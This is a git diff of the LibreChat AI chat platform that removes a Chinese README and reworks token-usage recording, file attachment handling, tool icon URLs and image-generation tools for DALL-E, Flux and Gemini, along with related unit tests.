- - **[了解更多 →](https://www.librechat.ai/docs/features/web_search)**
-
-- 🪄 **支持代码 Artifacts 的生成式 UI**:
- - [代码 Artifacts](https://youtu.be/GfTj7O4gmd0?si=WJbdnemZpJzBrJo3) 允许在对话中直接创建 React 组件、HTML 页面和 Mermaid 图表。
-
-- 🎨 **图像生成与编辑**:
- - 使用 [GPT-Image-1](https://www.librechat.ai/docs/features/image_gen#1--openai-image-tools-recommended) 进行文生图与图生图。
- - 支持 [DALL-E (3/2)](https://www.librechat.ai/docs/features/image_gen#2--dalle-legacy), [Stable Diffusion](https://www.librechat.ai/docs/features/image_gen#3--stable-diffusion-local), [Flux](https://www.librechat.ai/docs/features/image_gen#4--flux) 或任何 [MCP 服务器](https://www.librechat.ai/docs/features/image_gen#5--model-context-protocol-mcp)。
- - 根据提示词生成惊艳的视觉效果,或通过指令精修现有图像。
-
-- 💾 **预设与上下文管理**:
- - 创建、保存并分享自定义预设。
- - 在对话中随时切换 AI 端点和预设。
- - 编辑、重新提交并通过对话分支继续消息。
- - 创建并与特定用户和群组共享提示词。
- - [消息与对话分叉 (Fork)](https://www.librechat.ai/docs/features/fork) 以实现高级上下文控制。
-
-- 💬 **多模态与文件交互**:
- - 使用 Claude 3, GPT-4.5, GPT-4o, o1, Llama-Vision 和 Gemini 上传并分析图像 📸。
- - 支持通过自定义端点、OpenAI, Azure, Anthropic, AWS Bedrock 和 Google 进行文件对话 🗃️。
-
-- 🌎 **多语言 UI**:
- - English, 中文 (简体), 中文 (繁體), العربية, Deutsch, Español, Français, Italiano
- - Polski, Português (PT), Português (BR), Русский, 日本語, Svenska, 한국어, Tiếng Việt
- - Türkçe, Nederlands, עברית, Català, Čeština, Dansk, Eesti, فارسی
- - Suomi, Magyar, Հայերեն, Bahasa Indonesia, ქართული, Latviešu, ไทย, ئۇيغۇرچە
-
-- 🧠 **推理 UI**:
- - 针对 DeepSeek-R1 等思维链/推理 AI 模型的动态推理 UI。
-
-- 🎨 **可定制界面**:
- - 可定制的下拉菜单和界面,同时适配高级用户和初学者。
-
-- 🌊 **[可恢复流 (Resumable Streams)](https://www.librechat.ai/docs/features/resumable_streams)**:
- - 永不丢失响应:AI 响应在连接中断后自动重连并继续。
- - 多标签页与多设备同步:在多个标签页打开同一对话,或在另一设备上继续。
- - 生产级可靠性:支持从单机部署到基于 Redis 的水平扩展。
-
-- 🗣️ **语音与音频**:
- - 通过语音转文字和文字转语音实现免提对话。
- - 自动发送并播放音频。
- - 支持 OpenAI, Azure OpenAI 和 Elevenlabs。
-
-- 📥 **导入与导出对话**:
- - 从 LibreChat, ChatGPT, Chatbot UI 导入对话。
- - 将对话导出为截图、Markdown、文本、JSON。
-
-- 🔍 **搜索与发现**:
- - 搜索所有消息和对话。
-
-- 👥 **多用户与安全访问**:
- - 支持 OAuth2, LDAP 和电子邮件登录的多用户安全认证。
- - 内置审核系统和 Token 消耗管理工具。
-
-- ⚙️ **配置与部署**:
- - 支持代理、反向代理、Docker 及多种部署选项。
- - 可完全本地运行或部署在云端。
-
-- 📖 **开源与社区**:
- - 完全开源且在公众监督下开发。
- - 社区驱动的开发、支持与反馈。
-
-[查看我们的文档了解更多功能详情](https://docs.librechat.ai/) 📚
-
-## 🪶 LibreChat:全方位的 AI 对话平台
-
-LibreChat 是一个自托管的 AI 对话平台,在一个注重隐私的统一界面中整合了所有主流 AI 服务商。
-
-除了对话功能外,LibreChat 还提供 AI 智能体、模型上下文协议 (MCP) 支持、Artifacts、代码解释器、自定义操作、对话搜索,以及企业级多用户认证。
-
-开源、活跃开发中,专为重视 AI 基础设施自主可控的用户而构建。
-
----
-
-## 🌐 资源
-
-**GitHub 仓库:**
- - **RAG API:** [github.com/danny-avila/rag_api](https://github.com/danny-avila/rag_api)
- - **网站:** [github.com/LibreChat-AI/librechat.ai](https://github.com/LibreChat-AI/librechat.ai)
-
-**其他:**
- - **官方网站:** [librechat.ai](https://librechat.ai)
- - **帮助文档:** [librechat.ai/docs](https://librechat.ai/docs)
- - **博客:** [librechat.ai/blog](https://librechat.ai/blog)
-
----
-
-## 📝 更新日志
-
-访问发布页面和更新日志以了解最新动态:
-- [发布页面 (Releases)](https://github.com/danny-avila/LibreChat/releases)
-- [更新日志 (Changelog)](https://www.librechat.ai/changelog)
-
-**⚠️ 在更新前请务必查看[更新日志](https://www.librechat.ai/changelog)以了解破坏性更改。**
-
----
-
-## ⭐ Star 历史
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
----
-
-## ✨ 贡献
-
-欢迎任何形式的贡献、建议、错误报告和修复!
-
-对于新功能、组件或扩展,请在发送 PR 前开启 issue 进行讨论。
-
-如果您想帮助我们将 LibreChat 翻译成您的母语,我们非常欢迎!改进翻译不仅能让全球用户更轻松地使用 LibreChat,还能提升整体用户体验。请查看我们的[翻译指南](https://www.librechat.ai/docs/translation)。
-
----
-
-## 💖 感谢所有贡献者
-
-
-
-
-
----
-
-## 🎉 特别鸣谢
-
-感谢 [Locize](https://locize.com) 提供的翻译管理工具,支持 LibreChat 的多语言功能。
-
-
-
-
-
-
diff --git a/api/app/clients/BaseClient.js b/api/app/clients/BaseClient.js
index 8f931f8a5e..a2dfaf9907 100644
--- a/api/app/clients/BaseClient.js
+++ b/api/app/clients/BaseClient.js
@@ -4,7 +4,6 @@ const { logger } = require('@librechat/data-schemas');
const {
countTokens,
getBalanceConfig,
- buildMessageFiles,
extractFileContext,
encodeAndFormatAudios,
encodeAndFormatVideos,
@@ -21,7 +20,6 @@ const {
isAgentsEndpoint,
isEphemeralAgentId,
supportsBalanceCheck,
- isBedrockDocumentType,
} = require('librechat-data-provider');
const {
updateMessage,
@@ -124,9 +122,7 @@ class BaseClient {
* @returns {number}
*/
getTokenCountForResponse(responseMessage) {
- logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
- messageId: responseMessage?.messageId,
- });
+ logger.debug('[BaseClient] `recordTokenUsage` not implemented.', responseMessage);
}
/**
@@ -137,14 +133,12 @@ class BaseClient {
* @param {AppConfig['balance']} [balance]
* @param {number} promptTokens
* @param {number} completionTokens
- * @param {string} [messageId]
* @returns {Promise}
*/
- async recordTokenUsage({ model, balance, promptTokens, completionTokens, messageId }) {
+ async recordTokenUsage({ model, balance, promptTokens, completionTokens }) {
logger.debug('[BaseClient] `recordTokenUsage` not implemented.', {
model,
balance,
- messageId,
promptTokens,
completionTokens,
});
@@ -665,27 +659,16 @@ class BaseClient {
);
if (tokenCountMap) {
+ logger.debug('[BaseClient] tokenCountMap', tokenCountMap);
if (tokenCountMap[userMessage.messageId]) {
userMessage.tokenCount = tokenCountMap[userMessage.messageId];
- logger.debug('[BaseClient] userMessage', {
- messageId: userMessage.messageId,
- tokenCount: userMessage.tokenCount,
- conversationId: userMessage.conversationId,
- });
+ logger.debug('[BaseClient] userMessage', userMessage);
}
this.handleTokenCountMap(tokenCountMap);
}
if (!isEdited && !this.skipSaveUserMessage) {
- const reqFiles = this.options.req?.body?.files;
- if (reqFiles && Array.isArray(this.options.attachments)) {
- const files = buildMessageFiles(reqFiles, this.options.attachments);
- if (files.length > 0) {
- userMessage.files = files;
- }
- delete userMessage.image_urls;
- }
userMessagePromise = this.saveMessageToDatabase(userMessage, saveOptions, user);
this.savedMessageIds.add(userMessage.messageId);
if (typeof opts?.getReqData === 'function') {
@@ -797,18 +780,9 @@ class BaseClient {
promptTokens,
completionTokens,
balance: balanceConfig,
- /** Note: When using agents, responseMessage.model is the agent ID, not the model */
- model: this.model,
- messageId: this.responseMessageId,
+ model: responseMessage.model,
});
}
-
- logger.debug('[BaseClient] Response token usage', {
- messageId: responseMessage.messageId,
- model: responseMessage.model,
- promptTokens,
- completionTokens,
- });
}
if (userMessagePromise) {
@@ -1326,9 +1300,6 @@ class BaseClient {
const allFiles = [];
- const provider = this.options.agent?.provider ?? this.options.endpoint;
- const isBedrock = provider === EModelEndpoint.bedrock;
-
for (const file of attachments) {
/** @type {FileSources} */
const source = file.source ?? FileSources.local;
@@ -1346,9 +1317,6 @@ class BaseClient {
} else if (file.type === 'application/pdf') {
categorizedAttachments.documents.push(file);
allFiles.push(file);
- } else if (isBedrock && isBedrockDocumentType(file.type)) {
- categorizedAttachments.documents.push(file);
- allFiles.push(file);
} else if (file.type.startsWith('video/')) {
categorizedAttachments.videos.push(file);
allFiles.push(file);
diff --git a/api/app/clients/specs/BaseClient.test.js b/api/app/clients/specs/BaseClient.test.js
index f13c9979ac..fed80de28c 100644
--- a/api/app/clients/specs/BaseClient.test.js
+++ b/api/app/clients/specs/BaseClient.test.js
@@ -821,56 +821,6 @@ describe('BaseClient', () => {
});
});
- describe('recordTokenUsage model assignment', () => {
- test('should pass this.model to recordTokenUsage, not the agent ID from responseMessage.model', async () => {
- const actualModel = 'claude-opus-4-5';
- const agentId = 'agent_p5Z_IU6EIxBoqn1BoqLBp';
-
- TestClient.model = actualModel;
- TestClient.options.endpoint = 'agents';
- TestClient.options.agent = { id: agentId };
-
- TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
- TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
- TestClient.buildMessages.mockReturnValue({
- prompt: [],
- tokenCountMap: { res: 50 },
- });
-
- await TestClient.sendMessage('Hello', {});
-
- expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
- expect.objectContaining({
- model: actualModel,
- }),
- );
-
- const callArgs = TestClient.recordTokenUsage.mock.calls[0][0];
- expect(callArgs.model).not.toBe(agentId);
- });
-
- test('should pass this.model even when this.model differs from modelOptions.model', async () => {
- const instanceModel = 'gpt-4o';
- TestClient.model = instanceModel;
- TestClient.modelOptions = { model: 'gpt-4o-mini' };
-
- TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
- TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
- TestClient.buildMessages.mockReturnValue({
- prompt: [],
- tokenCountMap: { res: 50 },
- });
-
- await TestClient.sendMessage('Hello', {});
-
- expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
- expect.objectContaining({
- model: instanceModel,
- }),
- );
- });
- });
-
describe('getMessagesWithinTokenLimit with instructions', () => {
test('should always include instructions when present', async () => {
TestClient.maxContextTokens = 50;
@@ -978,123 +928,4 @@ describe('BaseClient', () => {
expect(result.remainingContextTokens).toBe(2); // 25 - 20 - 3(assistant label)
});
});
-
- describe('sendMessage file population', () => {
- const attachment = {
- file_id: 'file-abc',
- filename: 'image.png',
- filepath: '/uploads/image.png',
- type: 'image/png',
- bytes: 1024,
- object: 'file',
- user: 'user-1',
- embedded: false,
- usage: 0,
- text: 'large ocr blob that should be stripped',
- _id: 'mongo-id-1',
- };
-
- beforeEach(() => {
- TestClient.options.req = { body: { files: [{ file_id: 'file-abc' }] } };
- TestClient.options.attachments = [attachment];
- });
-
- test('populates userMessage.files before saveMessageToDatabase is called', async () => {
- TestClient.saveMessageToDatabase = jest.fn().mockImplementation((msg) => {
- return Promise.resolve({ message: msg });
- });
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg.isCreatedByUser,
- );
- expect(userSave).toBeDefined();
- expect(userSave[0].files).toBeDefined();
- expect(userSave[0].files).toHaveLength(1);
- expect(userSave[0].files[0].file_id).toBe('file-abc');
- });
-
- test('strips text and _id from files before saving', async () => {
- TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg.isCreatedByUser,
- );
- expect(userSave[0].files[0].text).toBeUndefined();
- expect(userSave[0].files[0]._id).toBeUndefined();
- expect(userSave[0].files[0].filename).toBe('image.png');
- });
-
- test('deletes image_urls from userMessage when files are present', async () => {
- TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
- TestClient.options.attachments = [
- { ...attachment, image_urls: ['data:image/png;base64,...'] },
- ];
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg.isCreatedByUser,
- );
- expect(userSave[0].image_urls).toBeUndefined();
- });
-
- test('does not set files when no attachments match request file IDs', async () => {
- TestClient.options.req = { body: { files: [{ file_id: 'file-nomatch' }] } };
- TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg.isCreatedByUser,
- );
- expect(userSave[0].files).toBeUndefined();
- });
-
- test('skips file population when attachments is not an array (Promise case)', async () => {
- TestClient.options.attachments = Promise.resolve([attachment]);
- TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg.isCreatedByUser,
- );
- expect(userSave[0].files).toBeUndefined();
- });
-
- test('skips file population when skipSaveUserMessage is true', async () => {
- TestClient.skipSaveUserMessage = true;
- TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg?.isCreatedByUser,
- );
- expect(userSave).toBeUndefined();
- });
-
- test('ignores file_id: undefined entries in req.body.files (no set poisoning)', async () => {
- TestClient.options.req = {
- body: { files: [{ file_id: undefined }, { file_id: 'file-abc' }] },
- };
- TestClient.options.attachments = [
- { ...attachment, file_id: undefined },
- { ...attachment, file_id: 'file-abc' },
- ];
- TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
-
- await TestClient.sendMessage('Hello');
-
- const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
- ([msg]) => msg.isCreatedByUser,
- );
- expect(userSave[0].files).toHaveLength(1);
- expect(userSave[0].files[0].file_id).toBe('file-abc');
- });
- });
});
diff --git a/api/app/clients/tools/manifest.json b/api/app/clients/tools/manifest.json
index 9637c20867..7930e67ac9 100644
--- a/api/app/clients/tools/manifest.json
+++ b/api/app/clients/tools/manifest.json
@@ -16,7 +16,7 @@
"name": "Google",
"pluginKey": "google",
"description": "Use Google Search to find information about the weather, news, sports, and more.",
- "icon": "assets/google-search.svg",
+ "icon": "https://i.imgur.com/SMmVkNB.png",
"authConfig": [
{
"authField": "GOOGLE_CSE_ID",
@@ -61,7 +61,7 @@
"name": "DALL-E-3",
"pluginKey": "dalle",
"description": "[DALL-E-3] Create realistic images and art from a description in natural language",
- "icon": "assets/openai.svg",
+ "icon": "https://i.imgur.com/u2TzXzH.png",
"authConfig": [
{
"authField": "DALLE3_API_KEY||DALLE_API_KEY",
@@ -74,7 +74,7 @@
"name": "Tavily Search",
"pluginKey": "tavily_search_results_json",
"description": "Tavily Search is a robust search API tailored for LLM Agents. It seamlessly integrates with diverse data sources to ensure a superior, relevant search experience.",
- "icon": "assets/tavily.svg",
+ "icon": "https://tavily.com/favicon.ico",
"authConfig": [
{
"authField": "TAVILY_API_KEY",
@@ -87,14 +87,14 @@
"name": "Calculator",
"pluginKey": "calculator",
"description": "Perform simple and complex mathematical calculations.",
- "icon": "assets/calculator.svg",
+ "icon": "https://i.imgur.com/RHsSG5h.png",
"authConfig": []
},
{
"name": "Stable Diffusion",
"pluginKey": "stable-diffusion",
"description": "Generate photo-realistic images given any text input.",
- "icon": "assets/stability-ai.svg",
+ "icon": "https://i.imgur.com/Yr466dp.png",
"authConfig": [
{
"authField": "SD_WEBUI_URL",
@@ -107,7 +107,7 @@
"name": "Azure AI Search",
"pluginKey": "azure-ai-search",
"description": "Use Azure AI Search to find information",
- "icon": "assets/azure-ai-search.svg",
+ "icon": "https://i.imgur.com/E7crPze.png",
"authConfig": [
{
"authField": "AZURE_AI_SEARCH_SERVICE_ENDPOINT",
@@ -143,7 +143,7 @@
"name": "Flux",
"pluginKey": "flux",
"description": "Generate images using text with the Flux API.",
- "icon": "assets/bfl-ai.svg",
+ "icon": "https://blackforestlabs.ai/wp-content/uploads/2024/07/bfl_logo_retraced_blk.png",
"isAuthRequired": "true",
"authConfig": [
{
@@ -156,14 +156,14 @@
{
"name": "Gemini Image Tools",
"pluginKey": "gemini_image_gen",
+ "toolkit": true,
"description": "Generate high-quality images using Google's Gemini Image Models. Supports Gemini API or Vertex AI.",
"icon": "assets/gemini_image_gen.svg",
"authConfig": [
{
- "authField": "GEMINI_API_KEY||GOOGLE_KEY||GOOGLE_SERVICE_KEY_FILE",
- "label": "Gemini API Key (optional)",
- "description": "Your Google Gemini API Key from Google AI Studio . Leave blank to use Vertex AI with a service account (GOOGLE_SERVICE_KEY_FILE or api/data/auth.json).",
- "optional": true
+ "authField": "GEMINI_API_KEY||GOOGLE_KEY||GEMINI_VERTEX_ENABLED",
+ "label": "Gemini API Key (Optional if Vertex AI is configured)",
+ "description": "Your Google Gemini API Key from Google AI Studio . Leave blank if using Vertex AI with service account."
}
]
}
diff --git a/api/app/clients/tools/structured/DALLE3.js b/api/app/clients/tools/structured/DALLE3.js
index c48db1d764..26610f73ba 100644
--- a/api/app/clients/tools/structured/DALLE3.js
+++ b/api/app/clients/tools/structured/DALLE3.js
@@ -51,10 +51,6 @@ class DALLE3 extends Tool {
this.fileStrategy = fields.fileStrategy;
/** @type {boolean} */
this.isAgent = fields.isAgent;
- if (this.isAgent) {
- /** Ensures LangChain maps [content, artifact] tuple to ToolMessage fields instead of serializing it into content. */
- this.responseFormat = 'content_and_artifact';
- }
if (fields.processFileURL) {
/** @type {processFileURL} Necessary for output to contain all image metadata. */
this.processFileURL = fields.processFileURL.bind(this);
diff --git a/api/app/clients/tools/structured/FluxAPI.js b/api/app/clients/tools/structured/FluxAPI.js
index f8341f7904..56f86a707d 100644
--- a/api/app/clients/tools/structured/FluxAPI.js
+++ b/api/app/clients/tools/structured/FluxAPI.js
@@ -113,10 +113,6 @@ class FluxAPI extends Tool {
/** @type {boolean} **/
this.isAgent = fields.isAgent;
- if (this.isAgent) {
- /** Ensures LangChain maps [content, artifact] tuple to ToolMessage fields instead of serializing it into content. */
- this.responseFormat = 'content_and_artifact';
- }
this.returnMetadata = fields.returnMetadata ?? false;
if (fields.processFileURL) {
@@ -528,40 +524,10 @@ class FluxAPI extends Tool {
return this.returnValue('No image data received from Flux API.');
}
+ // Try saving the image locally
const imageUrl = resultData.sample;
const imageName = `img-${uuidv4()}.png`;
- if (this.isAgent) {
- try {
- const fetchOptions = {};
- if (process.env.PROXY) {
- fetchOptions.agent = new HttpsProxyAgent(process.env.PROXY);
- }
- const imageResponse = await fetch(imageUrl, fetchOptions);
- const arrayBuffer = await imageResponse.arrayBuffer();
- const base64 = Buffer.from(arrayBuffer).toString('base64');
- const content = [
- {
- type: ContentTypes.IMAGE_URL,
- image_url: {
- url: `data:image/png;base64,${base64}`,
- },
- },
- ];
-
- const response = [
- {
- type: ContentTypes.TEXT,
- text: displayMessage,
- },
- ];
- return [response, { content }];
- } catch (error) {
- logger.error('[FluxAPI] Error processing finetuned image for agent:', error);
- return this.returnValue(`Failed to process the finetuned image. ${error.message}`);
- }
- }
-
try {
logger.debug('[FluxAPI] Saving finetuned image:', imageUrl);
const result = await this.processFileURL({
@@ -575,6 +541,12 @@ class FluxAPI extends Tool {
logger.debug('[FluxAPI] Finetuned image saved to path:', result.filepath);
+ // Calculate cost based on endpoint
+ const endpointKey = endpoint.includes('ultra')
+ ? 'FLUX_PRO_1_1_ULTRA_FINETUNED'
+ : 'FLUX_PRO_FINETUNED';
+ const cost = FluxAPI.PRICING[endpointKey] || 0;
+ // Return the result based on returnMetadata flag
this.result = this.returnMetadata ? result : this.wrapInMarkdown(result.filepath);
return this.returnValue(this.result);
} catch (error) {
diff --git a/api/app/clients/tools/structured/GeminiImageGen.js b/api/app/clients/tools/structured/GeminiImageGen.js
index 0bd1e302ed..c0e5a0ce1d 100644
--- a/api/app/clients/tools/structured/GeminiImageGen.js
+++ b/api/app/clients/tools/structured/GeminiImageGen.js
@@ -1,3 +1,4 @@
+const fs = require('fs');
const path = require('path');
const sharp = require('sharp');
const { v4 } = require('uuid');
@@ -5,7 +6,12 @@ const { ProxyAgent } = require('undici');
const { GoogleGenAI } = require('@google/genai');
const { tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
-const { ContentTypes, EImageOutputType } = require('librechat-data-provider');
+const {
+ FileContext,
+ ContentTypes,
+ FileSources,
+ EImageOutputType,
+} = require('librechat-data-provider');
const {
geminiToolkit,
loadServiceKey,
@@ -53,12 +59,17 @@ const displayMessage =
* @returns {string} - The processed string
*/
function replaceUnwantedChars(inputString) {
- return (
- inputString
- ?.replace(/\r\n|\r|\n/g, ' ')
- .replace(/"/g, '')
- .trim() || ''
- );
+ return inputString?.replace(/[^\w\s\-_.,!?()]/g, '') || '';
+}
+
+/**
+ * Validate and sanitize image format
+ * @param {string} format - The format to validate
+ * @returns {string} - Safe format
+ */
+function getSafeFormat(format) {
+ const allowedFormats = ['png', 'jpg', 'jpeg', 'webp', 'gif'];
+ return allowedFormats.includes(format?.toLowerCase()) ? format.toLowerCase() : 'png';
}
/**
@@ -106,8 +117,11 @@ async function initializeGeminiClient(options = {}) {
return new GoogleGenAI({ apiKey: googleKey });
}
+ // Fall back to Vertex AI with service account
logger.debug('[GeminiImageGen] Using Vertex AI with service account');
const credentialsPath = getDefaultServiceKeyPath();
+
+ // Use loadServiceKey for consistent loading (supports file paths, JSON strings, base64)
const serviceKey = await loadServiceKey(credentialsPath);
if (!serviceKey || !serviceKey.project_id) {
@@ -117,14 +131,75 @@ async function initializeGeminiClient(options = {}) {
);
}
+ // Set GOOGLE_APPLICATION_CREDENTIALS for any Google Cloud SDK dependencies
+ try {
+ await fs.promises.access(credentialsPath);
+ process.env.GOOGLE_APPLICATION_CREDENTIALS = credentialsPath;
+ } catch {
+ // File doesn't exist, skip setting env var
+ }
+
return new GoogleGenAI({
vertexai: true,
project: serviceKey.project_id,
location: process.env.GOOGLE_LOC || process.env.GOOGLE_CLOUD_LOCATION || 'global',
- googleAuthOptions: { credentials: serviceKey },
});
}
+/**
+ * Save image to local filesystem
+ * @param {string} base64Data - Base64 encoded image data
+ * @param {string} format - Image format
+ * @param {string} userId - User ID
+ * @returns {Promise} - The relative URL
+ */
+async function saveImageLocally(base64Data, format, userId) {
+ const safeFormat = getSafeFormat(format);
+ const safeUserId = userId ? path.basename(userId) : 'default';
+ const imageName = `gemini-img-${v4()}.${safeFormat}`;
+ const userDir = path.join(process.cwd(), 'client/public/images', safeUserId);
+
+ await fs.promises.mkdir(userDir, { recursive: true });
+
+ const filePath = path.join(userDir, imageName);
+ await fs.promises.writeFile(filePath, Buffer.from(base64Data, 'base64'));
+
+ logger.debug('[GeminiImageGen] Image saved locally to:', filePath);
+ return `/images/${safeUserId}/${imageName}`;
+}
+
+/**
+ * Save image to cloud storage
+ * @param {Object} params - Parameters
+ * @returns {Promise} - The storage URL or null
+ */
+async function saveToCloudStorage({ base64Data, format, processFileURL, fileStrategy, userId }) {
+ if (!processFileURL || !fileStrategy || !userId) {
+ return null;
+ }
+
+ try {
+ const safeFormat = getSafeFormat(format);
+ const safeUserId = path.basename(userId);
+ const dataURL = `data:image/${safeFormat};base64,${base64Data}`;
+ const imageName = `gemini-img-${v4()}.${safeFormat}`;
+
+ const result = await processFileURL({
+ URL: dataURL,
+ basePath: 'images',
+ userId: safeUserId,
+ fileName: imageName,
+ fileStrategy,
+ context: FileContext.image_generation,
+ });
+
+ return result.filepath;
+ } catch (error) {
+ logger.error('[GeminiImageGen] Error saving to cloud storage:', error);
+ return null;
+ }
+}
+
/**
* Convert image files to Gemini inline data format
* @param {Object} params - Parameters
@@ -251,9 +326,8 @@ function checkForSafetyBlock(response) {
* @param {string} params.userId - The user ID
* @param {string} params.conversationId - The conversation ID
* @param {string} params.model - The model name
- * @param {string} [params.messageId] - The response message ID for transaction correlation
*/
-async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model, messageId }) {
+async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model }) {
if (!usageMetadata) {
logger.debug('[GeminiImageGen] No usage metadata available for balance tracking');
return;
@@ -289,7 +363,6 @@ async function recordTokenUsage({ usageMetadata, req, userId, conversationId, mo
{
user: userId,
model,
- messageId,
conversationId,
context: 'image_generation',
balance,
@@ -317,18 +390,34 @@ function createGeminiImageTool(fields = {}) {
throw new Error('This tool is only available for agents.');
}
- const { req, imageFiles = [], userId, fileStrategy, GEMINI_API_KEY, GOOGLE_KEY } = fields;
+ // Skip validation during tool creation - validation happens at runtime in initializeGeminiClient
+ // This allows the tool to be added to agents when using Vertex AI without requiring API keys
+ // The actual credentials check happens when the tool is invoked
+
+ const {
+ req,
+ imageFiles = [],
+ processFileURL,
+ userId,
+ fileStrategy,
+ GEMINI_API_KEY,
+ GOOGLE_KEY,
+ // GEMINI_VERTEX_ENABLED is used for auth validation only (not used in code)
+ // When set as env var, it signals Vertex AI is configured and bypasses API key requirement
+ } = fields;
const imageOutputType = fields.imageOutputType || EImageOutputType.PNG;
const geminiImageGenTool = tool(
- async ({ prompt, image_ids, aspectRatio, imageSize }, runnableConfig) => {
+ async ({ prompt, image_ids, aspectRatio, imageSize }, _runnableConfig) => {
if (!prompt) {
throw new Error('Missing required field: prompt');
}
- logger.debug('[GeminiImageGen] Generating image', { aspectRatio, imageSize });
+ logger.debug('[GeminiImageGen] Generating image with prompt:', prompt?.substring(0, 100));
+ logger.debug('[GeminiImageGen] Options:', { aspectRatio, imageSize });
+ // Initialize Gemini client with user-provided credentials
let ai;
try {
ai = await initializeGeminiClient({
@@ -343,8 +432,10 @@ function createGeminiImageTool(fields = {}) {
];
}
+ // Build request contents
const contents = [{ text: replaceUnwantedChars(prompt) }];
+ // Add context images if provided
if (image_ids?.length > 0) {
const contextImages = await convertImagesToInlineData({
imageFiles,
@@ -356,34 +447,28 @@ function createGeminiImageTool(fields = {}) {
logger.debug('[GeminiImageGen] Added', contextImages.length, 'context images');
}
+ // Generate image
let apiResponse;
const geminiModel = process.env.GEMINI_IMAGE_MODEL || 'gemini-2.5-flash-image';
- const config = {
- responseModalities: ['TEXT', 'IMAGE'],
- };
-
- const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
- if (aspectRatio || (imageSize && supportsImageSize)) {
- config.imageConfig = {};
- if (aspectRatio) {
- config.imageConfig.aspectRatio = aspectRatio;
- }
- if (imageSize && supportsImageSize) {
- config.imageConfig.imageSize = imageSize;
- }
- }
-
- let derivedSignal = null;
- let abortHandler = null;
-
- if (runnableConfig?.signal) {
- derivedSignal = AbortSignal.any([runnableConfig.signal]);
- abortHandler = () => logger.debug('[GeminiImageGen] Image generation aborted');
- derivedSignal.addEventListener('abort', abortHandler, { once: true });
- config.abortSignal = derivedSignal;
- }
-
try {
+ // Build config with optional imageConfig
+ const config = {
+ responseModalities: ['TEXT', 'IMAGE'],
+ };
+
+ // Add imageConfig if aspectRatio or imageSize is specified
+ // Note: gemini-2.5-flash-image doesn't support imageSize
+ const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
+ if (aspectRatio || (imageSize && supportsImageSize)) {
+ config.imageConfig = {};
+ if (aspectRatio) {
+ config.imageConfig.aspectRatio = aspectRatio;
+ }
+ if (imageSize && supportsImageSize) {
+ config.imageConfig.imageSize = imageSize;
+ }
+ }
+
apiResponse = await ai.models.generateContent({
model: geminiModel,
contents,
@@ -395,12 +480,9 @@ function createGeminiImageTool(fields = {}) {
[{ type: ContentTypes.TEXT, text: `Image generation failed: ${error.message}` }],
{ content: [], file_ids: [] },
];
- } finally {
- if (abortHandler && derivedSignal) {
- derivedSignal.removeEventListener('abort', abortHandler);
- }
}
+ // Check for safety blocks
const safetyBlock = checkForSafetyBlock(apiResponse);
if (safetyBlock) {
logger.warn('[GeminiImageGen] Safety block:', safetyBlock);
@@ -427,7 +509,46 @@ function createGeminiImageTool(fields = {}) {
const imageData = convertedBuffer.toString('base64');
const mimeType = outputFormat === 'jpeg' ? 'image/jpeg' : `image/${outputFormat}`;
+ logger.debug('[GeminiImageGen] Image format:', { outputFormat, mimeType });
+
+ let imageUrl;
+ const useLocalStorage = !fileStrategy || fileStrategy === FileSources.local;
+
+ if (useLocalStorage) {
+ try {
+ imageUrl = await saveImageLocally(imageData, outputFormat, userId);
+ } catch (error) {
+ logger.error('[GeminiImageGen] Local save failed:', error);
+ imageUrl = `data:${mimeType};base64,${imageData}`;
+ }
+ } else {
+ const cloudUrl = await saveToCloudStorage({
+ base64Data: imageData,
+ format: outputFormat,
+ processFileURL,
+ fileStrategy,
+ userId,
+ });
+
+ if (cloudUrl) {
+ imageUrl = cloudUrl;
+ } else {
+ // Fallback to local
+ try {
+ imageUrl = await saveImageLocally(imageData, outputFormat, userId);
+ } catch (_error) {
+ imageUrl = `data:${mimeType};base64,${imageData}`;
+ }
+ }
+ }
+
+ logger.debug('[GeminiImageGen] Image URL:', imageUrl);
+
+ // For the artifact, we need a data URL (same as OpenAI)
+ // The local file save is for persistence, but the response needs a data URL
const dataUrl = `data:${mimeType};base64,${imageData}`;
+
+ // Return in content_and_artifact format (same as OpenAI)
const file_ids = [v4()];
const content = [
{
@@ -446,15 +567,12 @@ function createGeminiImageTool(fields = {}) {
},
];
- const conversationId = runnableConfig?.configurable?.thread_id;
- const messageId =
- runnableConfig?.configurable?.run_id ??
- runnableConfig?.configurable?.requestBody?.messageId;
+ // Record token usage for balance tracking (don't await to avoid blocking response)
+ const conversationId = _runnableConfig?.configurable?.thread_id;
recordTokenUsage({
usageMetadata: apiResponse.usageMetadata,
req,
userId,
- messageId,
conversationId,
model: geminiModel,
}).catch((error) => {
